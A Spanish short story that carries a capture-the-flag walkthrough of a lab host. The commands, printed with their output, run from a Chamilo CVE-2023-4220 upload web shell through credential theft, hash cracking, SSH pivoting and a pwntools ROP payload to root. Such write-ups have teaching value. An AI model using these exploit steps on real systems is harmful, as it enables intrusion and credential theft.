«No quería sino intentar vivir aquello que tendía a salir de mí, espontáneamente. ¿Por qué había de ser esto tan difícil?» — Hermann Hesse, Demian
Aceituna Brava vende sándwiches picantes desde el mediodía hasta las tres de la mañana, en un local de Vicuña Mackenna, en San Joaquín, a media cuadra del Metro Departamental, y a nadie que hace fila ahí le ha parecido nunca raro que una sanguchería necesite tanto ancho de banda, y yo tampoco lo habría notado si alguien no me hubiera pedido que mirara dos veces.
Terminé «El Pulpo» pensando que la luz, una vez encendida, se queda encendida, y me equivoqué, porque dos meses después de que los periodistas publicaran los contratos de Tridente Global alguien de la agrupación de Til Til me escribió de nuevo: la operación de desprestigio que llamaban «Marea» —la que fabricó cuentas falsas para tratar a los dirigentes ambientales de «pagados por la competencia»— había vuelto a aparecer, mismo estilo, mismos horarios de disparo, mismas frases repetidas palabra por palabra, y Tridente Global tenía a toda su plana ejecutiva de vacaciones forzadas y a los abogados encima, así que no podían estar operando «Marea» ellos mismos, alguien más la seguía vendiendo, a otro cliente, como quien vende el mismo servicio dos veces. Cerré esa historia con una frase que ahora me suena a advertencia que me hice a mí mismo sin saberlo: que la luz obliga a la sombra a cambiar de color, no a desaparecer, hasta la próxima bodega sin cartel.
La bodega esta vez tenía cartel, decía «Aceituna Brava», con una aceituna sonriendo, y quedaba justo detrás del local, conectada por un pasillo de servicio que los repartidores usaban para sacar cajas, y me lo contó Fabiola, que trabajó dos años en la caja y a la que echaron sin finiquito completo por «reestructuración» la misma semana en que preguntó por qué la cámara frigorífica tenía, al fondo, una puerta de metal que no llevaba a ningún estante sino a una escalera; se lo mencionó a un compañero, y esa noche dos hombres en una camioneta gris la esperaron afuera de su casa en Macul, sin bajarse, solo mirando el tiempo suficiente para que entendiera el mensaje sin que nadie dijera una palabra. Cuando me escribió no me pidió justicia. Me pidió que, si iba a mirar, no dejara ningún rastro que volviera hasta ella. Peleamos siempre por la misma luz, aunque esta vez la luz tuviera forma de sanguchería — es lo único que de verdad sostiene el corazón cuando lo demás es solo miedo y una camioneta gris estacionada.
$ nmap -p- --min-rate 3000 -Pn 192.168.56.104
$ nmap -sV -sC -Pn -p 22,80,2222 192.168.56.104
22/tcp open ssh
80/tcp open http
2222/tcp open ssh
La web pública de Aceituna Brava era, oficialmente, la plataforma de capacitación del personal, cómo armar el sánguche, cómo manejar la caja, protocolos de higiene, y antes de tocar nada quise saber sobre qué estaba parada:
$ curl -s http://192.168.56.104/ | grep -i generator <meta name="generator" content="Chamilo 1" /> $ curl -s http://192.168.56.104/documentation/changelog.html | grep -oE 'aria-label="[0-9.]+"' 1.11.24 (la última versión que el propio changelog local reconoce)
Chamilo, un software de enseñanza en línea real con vulnerabilidades públicas de sobra —nadie se toma el trabajo de actualizar el sistema que enseña a hacer sánguches— y el brief que le habían filtrado a Fabiola ya apuntaba directo a una falla con nombre y año, como los huracanes: CVE-2023-4220, un modo antiguo de subir archivos pensado para navegadores que ya nadie usa, que nunca revisaba qué tipo de archivo llegaba ni si hacía falta haber iniciado sesión. Y el saludo del segundo puerto SSH, el 2222, había dejado escapar una dirección que no debía verse desde afuera, 10.10.20.20. Una fachada no debería tener espejos que muestren lo que hay detrás de la fachada. Esta los tenía.
$ curl -X POST ".../bigUpload.php?action=post-unsupported" -F "[email protected]" "El archivo ha sido enviado" -- pero /files/shell.php da 404: la carpeta destino no existe # truco: disparar antes una subida normal "por partes", que crea la carpeta como efecto colateral $ curl -X POST ".../bigUpload.php" -F "resumableChunkNumber=1" -F "resumableFilename=shell.php" ... $ curl -X POST ".../bigUpload.php?action=post-unsupported" -F "[email protected]" ahora sí: 500 en vez de 404 -- el archivo existe
Pero incluso con el archivo dentro la cocina no me dejaba encender el fuego, system(), exec(), todo lo que ejecuta órdenes directas del sistema operativo bloqueado a propósito, alguien había configurado bien esa parte al menos, y lo que no bloquearon fue la posibilidad de leer, con las funciones más normales del propio lenguaje, cualquier archivo al que el proceso tuviera acceso, y entre esos archivos estaba la receta de verdad, la configuración de la base de datos:
$ curl ".../reader.php?f=/var/www/html/chamilo-lms/app/config/configuration.php"
db_host = 10.10.20.10
db_user = root
db_password = Ms42d0M3oWLw
Con esa llave hablé directo con la base de datos, sin pasar por ninguna pantalla de la aplicación, y le pedí que me mostrara a su gente:
$ php -r "mysqli('10.10.20.10','root','Ms42d0M3oWLw','chamilo_db')->query('SELECT username,password FROM user')..."
admin | $2y$04$vUNM... (bcrypt)
anon | $2y$04$dclT... (bcrypt)
jose | $2y$04$x.Un... (bcrypt)
$ john --format=bcrypt --wordlist=rockyou.txt hashes.txt
anon:anon
jose:blink-182
(admin resiste -- no hace falta insistir, con una llave basta)
Entré por la puerta de servicio con el nombre de un empleado real, no de un administrador, jose, contraseña reciclada de una banda de rock viejo, y esa cuenta abría sesión en el puerto 2222, un contenedor aislado, una de esas «cocinas» que Fabiola nunca vio, que ni siquiera sabía que existían dentro de su propio local:
$ sshpass -p 'blink-182' ssh -p 2222 [email protected] 'id; cat ~/user.txt' uid=1000(jose) ████████████
En la casa de jose había una nota dejada ahí a propósito, casi como un desafío, un binario que exigía una frase exacta de veinticuatro caracteres para revelar la contraseña del siguiente cuarto, y no era una cerradura que cediera a la fuerza, era una cerradura que solo cedía a la lógica exacta, seis ecuaciones que había que satisfacer todas a la vez, no una por una:
$ python3 -c "
from z3 import *
s = Solver(); W=[BitVec(f'W{i}',32) for i in range(6)]
s.add((W[0]^W[1]) + LShR(W[2],1) == 0x99a20f13)
# ...las otras cinco ecuaciones del binario...
print(s.check(), s.model())"
sat -- Z3_S0lV3R_1s_Y0uR_Fr13nD
$ echo "Z3_S0lV3R_1s_Y0uR_Fr13nD" | ./chal
Acceso concedido. Flag: pepito{H4ck3n_m0l4}
Un acertijo resuelto con paciencia matemática, no con fuerza, y sin embargo, mientras jose tanteaba a ciegas su propia red interna —una a la que Chamilo ni siquiera tenía ruta—, encontró la misma puerta por el camino contrario, el del descuido:
$ for i in $(seq 1 30); do for p in 3128 80 22; do
timeout 0.3 bash -c "echo>/dev/tcp/172.17.0.$i/$p" 2>/dev/null && echo "172.17.0.$i:$p abierto"
done; done
172.17.0.3:3128 abierto (proxy Squid)
$ ssh -p 2222 -N -L 3128:172.17.0.3:3128 [email protected] &
$ curl -x http://127.0.0.1:3128 http://172.17.0.3/
página interna: binario /chal2 + credenciales "challenge:challenge", puerto 22222
Un enigma resuelto con inteligencia real de un lado, y del otro la misma puerta abierta con la contraseña más floja del catálogo, dejada ahí por descuido en una página que nadie pensó que alguien más leería, y la inteligencia de quien diseñó esto era real, redes separadas, un proxy de por medio, cifrado al final del camino, muy por encima de lo que cualquier fiscalización estatal audita hoy en un local de comida rápida, pero ni la inteligencia mejor pagada se salva de la pereza del último turno de la noche.
Fabiola me había pedido, antes de que yo siguiera, que le contara qué esperaba encontrar, y le dije la verdad, no sabía, lo que sí sabía y no le dije para no asustarla más de lo que ya estaba es que una cadena de redes separadas, con un proxy en el medio y un cifrado al final, casi nunca se construye para guardar sándwiches, se construye para que, si alguien llega hasta la primera puerta, se canse antes de llegar a la última.
Con las credenciales del proxy encadené dos contraseñas distintas en un solo salto, una para llegar a jose, otra para saltar desde ahí hasta el cuarto que el propio letrero interno llamaba, sin ironía, «sala de pruebas»:
$ sshpass -p 'challenge' ssh \
-o ProxyCommand="sshpass -p 'blink-182' ssh -W %h:%p -p 2222 [email protected]" \
-p 22222 [email protected] 'sudo -l'
User challenge may run: (ALL) NOPASSWD: /srv/http/chal2
challenge podía ejecutar un binario como root sin dar explicaciones, y el binario en sí era un cerrojo electrónico de otra época, sin canario que avisara si alguien forzaba la cerradura, sin dirección aleatoria que la escondiera, y pedía además dos palabras exactas en el orden exacto antes de abrir, y una prueba en el propio local, corriéndolo sin privilegios, dejó ver por accidente qué hacía la cerradura al ceder:
$ readelf -l chal2 | grep GNU_STACK # sin protección de ejecución especial
$ objdump -d chal2 | grep stack_chk # (nada) -- sin canario
$ nm chal2 | grep " T " # vuln(), winwin()
# prueba local, sin privilegios, solo para ver qué intenta hacer winwin():
cat: /opt/pass.txt: No existe el fichero o el directorio
# -- revela que "abrir la puerta" es, literalmente, leer ese archivo en voz alta
La cerradura no abría una conversación con el que llegaba, solo leía una vez un papel que tenía escondido, y ese papel, corrido con los privilegios reales del cuarto, iba a ser un archivo que solo root podía ver, así que bastaba con decir las dos palabras exactas para que la máquina misma leyera su propio secreto en voz alta:
$ ROPgadget --binary chal2 --only "pop|ret" | grep -E "pop rdi|pop rsi" 0x40124b : pop rdi ; ret 0x401249 : pop rsi ; pop r15 ; ret $ python3 -c " from pwn import p64 payload = b'A'*0x48 payload += p64(0x40124b) + p64(0xdeadcafe) # primera palabra payload += p64(0x401249) + p64(0xdeadcafebabebeef) + p64(0) # segunda palabra payload += p64(0x401152) # 'ábrete' " | sshpass -p 'challenge' ssh -o ProxyCommand="sshpass -p 'blink-182' ssh -W %h:%p -p 2222 [email protected]" \ -p 22222 [email protected] 'sudo /srv/http/chal2' root password: 91B2W0Xf7X4mZQbv6187NDsX Frase para descifrar: x6WA0Yk8Mi1i9Fzz
No era la contraseña de otro contenedor de juguete, y al probarla la puerta que abrió no fue una cocina más, fue la máquina real, la que sostenía a todas las demás por debajo, sin disfraz de por medio:
$ sshpass -p '91B2W0Xf7X4mZQbv6187NDsX' ssh -p 22 [email protected] 'id; hostname' uid=0(root) gid=0(root) AceitunitaBrava
Ahí, por fin, sin más puertas detrás, estaba el archivo que todo lo demás protegía, cifrado con una técnica seria, una frase machacada cientos de miles de veces contra sí misma hasta volverse una llave que ninguna fuerza bruta razonable rompe, pero abierta sin resistencia en cuanto se tiene la frase correcta, porque ninguna cerradura es más fuerte que el secreto que hace falta para no tener que forzarla:
$ python3 -c "
from cryptography.hazmat.primitives.kdf.pbkdf2 import PBKDF2HMAC
from cryptography.hazmat.primitives import hashes
from cryptography.fernet import Fernet
import base64
data = open('root.txt.enc','rb').read()
salt, token = data[:16], data[16:]
kdf = PBKDF2HMAC(algorithm=hashes.SHA256(), length=32, salt=salt, iterations=480000)
key = base64.urlsafe_b64encode(kdf.derive(b'x6WA0Yk8Mi1i9Fzz'))
print(Fernet(key).decrypt(token).decode())"
████████████
La misma frase abría, además, todo lo demás que había en esa carpeta, porque quien reutiliza una contraseña reutiliza también su descuido: una planilla cifrada con nombres de campaña en vez de nombres de personas, «Marea», con Tridente Global como cliente y una cifra en pesos que no cabía en la cabeza de nadie que trabaje por sueldo fijo, «Cardumen», financiada por una inmobiliaria que nunca había salido en ningún reportaje, «Alba», sin cliente anotado, marcada aparte, como si esa la pagara la casa.
Y junto a la planilla, una bitácora de visitas, sin nombres —quien la llevaba era cuidadoso, no ingenuo—, pero con fecha, hora de entrada, hora de salida, y una descripción mínima que a veces alcanzaba, sin querer, para reconocer a alguien: «vehículo fiscal, entra por el pasillo de carga, cuarenta minutos, sin comprar nada, la misma corbata que usa en el matinal de los jueves». Cada seis o siete semanas, durante casi dos años, alguien con ese perfil bajaba a Aceituna Brava después del cierre y volvía a subir antes del amanecer.
Ahí encontré el nudo que no esperaba: entre las fechas de «Alba» había una que reconocí sin necesidad de buscarla, la convocatoria a una marcha en la que yo mismo estuve, hace años, gritando consignas que sentí completamente mías, con la certeza absoluta de que ese enojo había nacido en mi pecho y en el de nadie más, y la planilla mostraba la hora exacta en que se activaron las primeras mil cuentas empujando esa convocatoria, trece horas antes de que la indignación «espontánea» apareciera en ninguna otra parte. No sé, todavía, cuánta de esa rabia fue mía y cuánta fue encendida por alguien con un panel de control y un presupuesto. Es la misma pregunta que le hice sin saberlo al general Krest en otra historia, y esta vez me la hice a mí mismo, sin nadie más a quien culpar por no tener respuesta.
No entregué nombres. Entregué la planilla, la bitácora y las fechas a Alberto, el periodista de CIPER que ya me había usado de fuente en «El Pulpo», con una condición explícita: verificar cada cifra antes de publicar una sola línea, y describir a los visitantes solo con lo que la propia bitácora describía, ni una palabra más, ninguna corbata convertida en acusación con nombre propio. Fabiola no aparece en nada de lo que se publicó, y así se quedará. La luz, cuando de verdad quiere ser luz y no otro reflector apuntado a la cara de alguien, también tiene que saber a quién no alumbrar.
Aceituna Brava cerró «por remodelación» once días después. No hubo detenidos que yo sepa, ni en los meses que siguieron. Fabiola nunca cobró el finiquito completo. Y yo sigo sin saber si «Alba» de verdad se apagó, o si solo cambió de nombre y de bodega, como cambió «Marea» cuando Tridente Global dejó de poder pagarla, ni tampoco sé, y esta es la parte que más me cuesta escribir, si la próxima vez que sienta una indignación tan mía como aquella marcha voy a poder distinguirla de una activada trece horas antes por alguien que ya sabe, mejor que el propio Estado, exactamente qué botón apretar. Pero seguiré peleando por la luz aunque sea la única certeza que me quede, porque es lo único que a esta altura todavía sostiene el corazón.